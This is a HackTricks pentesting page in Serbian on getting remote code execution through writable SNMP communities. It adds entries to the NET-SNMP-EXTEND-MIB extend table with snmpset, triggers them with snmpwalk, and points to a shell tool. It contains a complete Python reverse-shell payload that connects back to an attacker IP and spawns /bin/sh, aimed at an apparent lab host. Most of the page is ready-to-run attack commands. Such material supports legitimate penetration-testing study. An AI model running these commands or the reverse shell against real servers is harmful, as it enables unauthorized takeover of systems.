SNMP RCE

Support HackTricks

SNMP RCE

SNMP može biti iskorišćen od strane napadača ako administrator zanemari njegovu podrazumevanu konfiguraciju na uređaju ili serveru. Korišćenjem SNMP zajednice sa pravima pisanja (rwcommunity) na Linux operativnom sistemu, napadač može izvršiti komande na serveru.

Proširenje usluga dodatnim komandama

Da bi se proširile SNMP usluge i dodale dodatne komande, moguće je dodati nove redove u tabelu "nsExtendObjects". To se može postići korišćenjem snmpset komande i pružanjem neophodnih parametara, uključujući apsolutnu putanju do izvršne datoteke i komandu koja treba da se izvrši:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'

Umetanje komandi za izvršenje

Umetanje komandi za pokretanje na SNMP servisu zahteva postojanje i izvršivost pozvanog binarnog fajla/skripte. NET-SNMP-EXTEND-MIB nalaže pružanje apsolutne putanje do izvršnog fajla.

Da bi se potvrdilo izvršenje umetnute komande, može se koristiti komanda snmpwalk za enumeraciju SNMP servisa. izlaz će prikazati komandu i njene povezane detalje, uključujući apsolutnu putanju:

snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects

Pokretanje Ubrizganih Komandi

Kada se ubrizgana komanda pročita, ona se izvršava. Ovo ponašanje je poznato kao run-on-read(). Izvršenje komande može se posmatrati tokom snmpwalk čitanja.

Sticanje Server Shell-a sa SNMP

Da biste preuzeli kontrolu nad serverom i dobili server shell, može se koristiti python skripta koju je razvio mxrch sa https://github.com/mxrch/snmp-shell.git.

Alternativno, reverzni shell se može ručno kreirati ubrizgavanjem specifične komande u SNMP. Ova komanda, koju pokreće snmpwalk, uspostavlja reverznu shell vezu sa mašinom napadača, omogućavajući kontrolu nad mašinom žrtve. Možete instalirati pre-requisite za pokretanje ovoga:

sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt

Ili obrnuta ljuska:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'

References

Podržite HackTricks

Last updated